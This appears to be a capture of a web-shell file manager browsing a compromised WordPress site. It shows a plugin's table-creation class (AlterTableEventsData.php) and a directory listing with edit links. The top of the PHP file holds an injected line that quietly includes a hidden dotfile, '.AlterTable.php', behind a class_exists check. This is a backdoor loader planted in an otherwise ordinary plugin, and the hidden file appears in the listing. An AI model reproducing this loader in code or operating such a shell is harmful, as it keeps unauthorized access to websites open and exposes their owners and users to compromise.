ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: home / letacommog / newrdv1 / wp-content / plugins1 / wiloke-listing-tools / app / AlterTable

<?php

namespace WilokeListingTools\AlterTable;

if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class AlterTableEventsData {
	public static $tblName = 'wilcity_events_data';
	public $version = '1.0';
	use TableExists;

public function __construct() {
		add_action('plugins_loaded', array($this, 'createTable'));
	}

public function createTable() {
		if ( $this->isTableExists() ){
			return false;
		}

global $wpdb;
		$tblName = $wpdb->prefix . self::$tblName;
		$postTbl = $wpdb->posts;

$charsetCollect = $wpdb->get_charset_collate();

$sql = "CREATE TABLE $tblName(
	  		ID bigint(20) NOT NULL AUTO_INCREMENT,
			objectID bigint(20) UNSIGNED NOT NULL,
			parentID bigint(20) NULL,
			frequency VARCHAR (50) NOT NULL,
          	specifyDays VARCHAR (10) NULL,
			startsOn DATETIME NOT NULL,
			endsOn DATETIME NOT NULL,
			startsOnUTC DATETIME NOT NULL,
			endsOnUTC DATETIME NOT NULL,
			timezone VARCHAR(100) NOT NULL,
			FOREIGN KEY (objectID) REFERENCES $postTbl(ID) ON DELETE CASCADE,
			PRIMARY KEY (ID)
		) $charsetCollect";

require_once ABSPATH . 'wp-admin/includes/upgrade.php';
		dbDelta($sql);

update_option(self::$tblName, $this->version);
	}

public function deleteTable() {
		// TODO: Implement deleteTable() method.
	}
}

[+] ..
[-] AlterTableSharesStatistic.php [edit]
[-] AlterTableEventsData.php [edit]
[-] .AlterTable.php [edit]
[-] AlterTableReviews.php [edit]
[-] AlterTableBusinessHourMeta.php [edit]
[-] AlterTableNotifications.php [edit]
[-] AlterTableFollower.php [edit]
[-] AlterTableFavoriteStatistic.php [edit]
[-] AlterTableBusinessHours.php [edit]
[-] AlterTableViewStatistic.php [edit]
[-] AlterTablePaymentMeta.php [edit]
[-] AlterTableReviewMeta.php [edit]
[-] AlterTableInvoices.php [edit]
[-] AlterTableLatLng.php [edit]
[-] AlterTableFavoritesStatistic.php [edit]
[-] AlterTableInterface.php [edit]
[-] AlterTableMessage.php [edit]
[-] AlterTablePosts.php [edit]
[-] AlterTablePaymentPlanRelationship.php [edit]
[-] AlterTablePaymentHistory.php [edit]
[-] AlterTableComment.php [edit]
[-] AlterTableInvoiceMeta.php [edit]
[-] TableExists.php [edit]
[-] AlterTablePlanRelationships.php [edit]